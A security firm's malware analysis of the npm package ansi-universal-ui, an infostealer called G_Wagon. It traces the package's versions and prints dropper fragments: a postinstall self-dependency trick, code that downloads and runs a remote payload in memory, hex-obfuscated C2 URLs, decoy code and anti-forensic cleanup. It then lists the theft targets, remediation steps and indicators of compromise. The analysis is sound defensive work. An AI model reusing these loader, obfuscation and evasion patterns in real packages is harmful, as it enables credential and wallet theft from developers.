At 08:46 UTC on January 23rd, 2026, our malware detection system flagged a package called ansi-universal-ui. The name sounds like a boring UI component library. The description even says it's "a lightweight, modular UI component system for modern web applications." Very professional. Very normal. Except it's not.
What we found is a sophisticated multi-stage infostealer that downloads its own Python runtime, executes a heavily obfuscated payload, and exfiltrates your browser credentials, cryptocurrency wallets, cloud credentials, and Discord tokens to an Appwrite storage bucket. It also carries an embedded Windows DLL that gets injected into browser processes using NT native APIs. The malware calls itself "G_Wagon" internally, presumably because the authors have expensive taste.
Watching an Attack Develop in Real-Time
This one's interesting because we can see the entire development process. The attacker published 10 versions over two days, and each version tells part of the story.
Day 1 (January 21st) - Testing the dropper infrastructure:
- v1.0.0 (15:54 UTC): Initial scaffold using npm's tar module
- v1.2.0 (16:03 UTC): Switched to system tar, first self-dependency
- v1.3.2 (16:09 UTC): Added postinstall hook (no payload yet)
- v1.3.3 (16:18 UTC): Fixed a redirect bug
Day 2 (January 23rd) - Weaponization:
- v1.3.5 (08:46 UTC): Added C2 URL, fake branding, removed placeholder
- v1.3.6 (08:53 UTC): Re-enabled self-dependency for double execution
- v1.3.7 (09:09 UTC): Added anti-forensics, sanitized log messages
- v1.4.0 (12:27 UTC): Switched to Frankfurt C2, payload now pipes through stdin (never touches disk)
- v1.4.1 (12:48 UTC): Added obfuscation, hex-encoded strings, decoy UI class
- v1.4.2 (13:06 UTC): Bug fix (v1.4.1 broke the Python path)
The attacker is actively iterating. While we were writing this post, they pushed three more versions.
The Testing Phase
The early versions (1.0.0 through 1.3.3) all contained a file called py.py with this content:
print("python code executed!")That's it. Just a placeholder to test whether the execution chain worked. The attacker was building infrastructure.
In v1.2.0, they made an interesting change. They removed the npm tar dependency and switched to spawning the system tar command directly:
- const tar = require('tar');
+ const https = require('https');
- const extract = tar.x({ cwd: CACHE_DIR });
- response.body.pipe(extract);
+ const tarProcess = spawn('tar', ['-x', '-f', '-', '-C', CACHE_DIR]);
+ res.pipe(tarProcess.stdin);Why? Fewer npm dependencies means less surface area for detection. It also means the package works without installing anything from npm.
But they introduced a bug. The redirect handling didn't actually work:
if (res.statusCode === 302 || res.statusCode === 301) {
downloadAndExtract().then(resolve).catch(reject); // BUG: forgot to pass the URL!
return;
}
They fixed this in v1.3.3:
if (res.statusCode === 302 || res.statusCode === 301) {
const newUrl = res.headers.location;
downloadAndExtract(newUrl).then(resolve).catch(reject); // Fixed
return;
}
This is why we see the version gap between 1.3.3 and 1.3.5. They tested, hit the bug, fixed it, verified it worked, then came back two days later to weaponize it.
The Weaponization
Version 1.3.5 is where everything changes. Let's look at the key diff:
- const SCRIPT_PATH = path.join(__dirname, 'py.py');
+ const REMOTE_SCRIPT_URL = "https://nyc.cloud.appwrite.io/v1/storage/buckets/688625a0000f8a1b71e8/files/69732d9c000042399d88/view?project=6886229e003d46469fab";
+ const LOCAL_SCRIPT_PATH = path.join(CACHE_DIR, 'latest_script.py');Instead of running the local placeholder, it now downloads the payload from an Appwrite storage bucket.
They also added a telling comment that got removed in the final version:
// console.log("Fetching latest logic..."); // Uncomment if you want them to see thisThe attacker was clearly thinking about operational security.
The Fake Branding
Version 1.3.5 also added legitimacy. The package.json changed from:
{
"description": "A cross-platform tool powered by Python"
}
To:
{
"description": "A lightweight, modular UI component system for modern web applications. Provides a responsive design engine and universal style primitives.",
"keywords": ["ui", "design-system", "components", "framework", "frontend", "css-in-js"],
"author": "Universal Design Team",
"license": "MIT"
}
They added a README.md full of buzzwords:
Universal UI is a declarative component primitive library designed for high-performance interface rendering. It provides a unified layer for managing visual states, themes, and layout systems across modern application architectures.
And my personal favorite:
Virtual Rendering Engine: Optimized diffing algorithm that ensures smooth transitions and minimal repaints during state changes.
None of this is real. There's no ThemeProvider. There's no Virtual Rendering Engine. There's just malware.
The Self-Dependency Trick
Look at the package.json from v1.3.7:
{
"scripts": {
"postinstall": "node index.js"
},
"dependencies": {
"ansi-universal-ui": "^1.3.5"
}
}
The package depends on itself. Version 1.3.7 requires version ^1.3.5. When npm installs the package, it runs the postinstall hook. Then it installs the dependency (an older version of itself), which runs the postinstall hook again. Double execution.
Interestingly, they removed this in v1.3.5 and re-added it in v1.3.6. Probably testing whether it caused issues.
The Anti-Forensics
Version 1.3.7 added cleanup code to delete the payload after execution:
child.on('close', (code) => {
try {
if (fs.existsSync(LOCAL_SCRIPT_PATH)) {
fs.unlinkSync(LOCAL_SCRIPT_PATH);
}
} catch (cleanupErr) {
// Ignore cleanup errors
}
process.exit(code);
});
They also sanitized the log messages:
- console.log("Setting up Python environment...");
+ console.log("Initializing UI runtime...");"Setting up Python environment" is suspicious. "Initializing UI runtime" sounds like a legitimate UI library doing UI library things.
Still Evolving: v1.4.x
While we were analyzing this malware, the attacker pushed two more versions. They're learning.
v1.4.0 made a key change: the Python payload no longer touches disk. Instead of downloading to a file and executing it, the dropper now fetches base64-encoded Python from the C2, decodes it in memory, and pipes it directly to python - via stdin:
e
const b64Content = await downloadString(REMOTE_B64_URL);
const pythonCode = Buffer.from(b64Content.trim(), 'base64').toString('utf-8');
const child = spawn(LOCAL_PYTHON_BIN, ['-'], { stdio: ['pipe', 'inherit', 'inherit'] });
child.stdin.write(pythonCode);
child.stdin.end();No file to delete. No artifact left behind.
v1.4.1 went further with obfuscation. The C2 URL is now split into hex-encoded chunks:
const _ui_assets = [
"68747470733a2f2f6672612e636c6f75642e61707077726974652e696f2f...",
"3639363865613536303033313663313238663232",
"2f66696c65732f",
"363937333638333830303333343933353735373..."
];
const _gfx_src = _ui_assets.map(s => Buffer.from(s, 'hex').toString()).join('');They also added a decoy class to make the code look like a real UI library:
class LayoutCompute {
constructor() { this.matrix = new Float32Array(16); this.x = 0; }
mount(v) { return (v << 2) ^ 0xAF; }
sync() { this.x = Math.sin(Date.now()) * 100; return this.x > 0; }
}
The directories were renamed from python_runtime to lib_core/renderer. Variables like pythonCode became _texture_data. The function setupPython became _init_layer. Everything now sounds like graphics rendering code.
They also switched exclusively to the Frankfurt C2 server, abandoning the NYC endpoint.
v1.4.2 came 18 minutes later. They broke something. The comment in the code says it all:
// FIXED: Changed 'renderer' back to 'python' (hex encoded) so it matches the tarball structure
In v1.4.1, they renamed the directory to renderer for aesthetic obfuscation, but the Python tarball extracts to a folder called python. Oops. The malware wouldn't have worked. v1.4.2 fixes this while keeping the hex encoding.
Stage 2: G_Wagon Stealer
The Python payload is where things get interesting. The code is obfuscated with single-letter variable names and string constants, but the functionality is clear once you work through it.
The first thing the malware does is check for a file called .gwagon_status in your home directory. This file contains a counter. If you've been infected twice already, it stops running. No need to steal the same data repeatedly.
Then it gets to work.
Browser Credentials: The stealer targets Chrome, Edge, and Brave on both Windows and macOS. On Windows, it terminates the browser processes, spawns a new instance with Chrome DevTools Protocol enabled, and extracts all cookies. It also decrypts saved passwords using the Windows Data Protection API. On macOS, it extracts the encryption key from the Keychain and uses OpenSSL to decrypt login data.
Cryptocurrency Wallets: This is the real prize. The malware targets over 100 browser wallet extensions. MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Ledger Live, Trezor, Exodus, and dozens more. It copies the entire extension data directory for each wallet it finds.
The full list includes wallets for Ethereum, Solana, Cosmos, Polkadot, Cardano, TON, Bitcoin Ordinals, and pretty much every blockchain ecosystem you can think of.
Cloud Credentials: If you've ever configured the AWS CLI, Azure CLI, or Google Cloud SDK on your machine, the malware copies your credential files. Same for SSH keys and your kubeconfig. Your entire cloud infrastructure, potentially accessible with a single zip file.
Messaging Tokens: Discord token theft has been a staple of npm malware for years, and G_Wagon doesn't disappoint. It also grabs Telegram's tdata directory and Steam authentication files.
The Exfiltration
All stolen data gets zipped up and uploaded to the attacker's Appwrite bucket. The filenames follow a pattern: {username}@{hostname}_{browser}_{profile}_{original_file}.
The malware has two C2 servers configured:
- Primary:
nyc.cloud.appwrite[.]io(Project ID:6886229e003d46469fab) - Backup:
fra.cloud.appwrite[.]io(Project ID:6968e9e9000ee4ac710c)
For large files, it chunks the data into 5MB pieces and uploads them sequentially. Files over 50MB get split into 45MB parts. The authors clearly planned for victims with lots of valuable data.
DLL Injection
There's one more piece that makes this stealer stand out. The Python code contains a large base64-encoded blob - an XOR-encrypted Windows DLL.
c='+qmQZ9cVqpo....==' # Redacted for brevity - actual blob is much largerThe code base64-decodes this, XOR-decrypts it with a hardcoded key, then injects it into browser processes using NT native APIs: NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, and NtCreateThreadEx.
The malware includes a full PE parser that walks the export table looking for a function called "Initialize" - that's the entry point it calls after injection.
Remediation and Detection
If you've installed ansi-universal-ui, here's what you need to do immediately:
- Remove the package from your project and delete node_modules
- Check for the
.gwagon_statusfile in your home directory (if it exists, you were likely infected) - Rotate all browser-saved passwords
- Revoke and regenerate tokens for any cryptocurrency wallets that were installed as browser extensions (consider them compromised)
- Rotate AWS/Azure/GCP credentials if you use those CLIs
- Regenerate SSH keys
- Invalidate Discord and Telegram sessions
How to tell if you are affected using Aikido:
If you are an Aikido user, check your central feed and filter on malware issues. The vulnerability will be surfaced as a 100/100 critical issue in the feed. Tip: Aikido rescans your repos nightly, though we recommend triggering a full rescan as well.
If you are not yet an Aikido user, set up an account and connect your repos. Our proprietary malware coverage is included in the free plan (no credit card required).
For future protection, consider using Aikido Safe Chain (open source), a secure wrapper for npm, npx, yarn, and other package managers. Safe Chain sits in your current workflows. It works by intercepting npm, npx, yarn, pnpm, and pnpx commands and verifying the packages for malware before install against Aikido Intel, our Open Source Threat Intelligence feed. Stop threats before they hit your machine.
Indicators of Compromise
Package
- Name:
ansi-universal-ui - Malicious versions: 1.3.5, 1.3.6, 1.3.7, 1.4.0, 1.4.1
File Hashes (SHA256)
- v1.0.0 index.js:
7de334b0530e168fcf70335aa73a26a0b483e864c415d02980fe5e6b07f6af85 - v1.2.0 index.js:
00f1e82321a400fa097fc47edc1993203747223567a2a147ed458208376e39a1 - v1.3.2 index.js:
00f1e82321a400fa097fc47edc1993203747223567a2a147ed458208376e39a1(identical to v1.2.0) - v1.3.3 index.js:
1979bf6ff76d2adbd394e1288d75ab04abfb963109e81294a28d0629f90b77c7 - v1.3.5 index.js:
ecde55186231f1220218880db30d704904dd3ff6b3096c745a1e15885d6e99cc(MALICIOUS) - v1.3.6 index.js:
ecde55186231f1220218880db30d704904dd3ff6b3096c745a1e15885d6e99cc(identical to v1.3.5, MALICIOUS) - v1.3.7 index.js:
eb19a25480916520aecc30c54afdf6a0ce465db39910a5c7a01b1b3d1f693c4c(MALICIOUS) - v1.4.0 index.js:
ff514331b93a76c9bbf1f16cdd04e79c576d8efd0d3587cb3665620c9bf49432(MALICIOUS) - v1.4.1 index.js:
a576844e131ed6b51ebdfa7cd509233723b441a340529441fb9612f226fafe52(MALICIOUS) - py.py (all versions):
e25f5d5b46368ed03562625b53efd24533e20cd1d42bc64b1ebf041cacab8941
Note: v1.3.5 and v1.3.6 have identical index.js files (only package.json changed). v1.2.0 and v1.3.2 are also identical (only added the postinstall hook).
Network
hxxps://nyc.cloud.appwrite[.]io/v1/storage/buckets/688625a0000f8a1b71e8/files/69732d9c000042399d88/view?project=6886229e003d46469fab(v1.3.x)hxxps://fra.cloud.appwrite[.]io/v1/storage/buckets/6968ea5600316c128f22/files/69736838003349357574/view?project=6968e9e9000ee4ac710c(v1.4.x)- Appwrite Project ID (NYC):
6886229e003d46469fab - Appwrite Project ID (FRA):
6968e9e9000ee4ac710c - Appwrite Bucket ID (NYC):
688625a0000f8a1b71e8 - Appwrite Bucket ID (FRA):
6968ea5600316c128f22
Filesystem
~/.gwagon_status(execution counter, hidden on Windows)
Secure your software now



.avif)
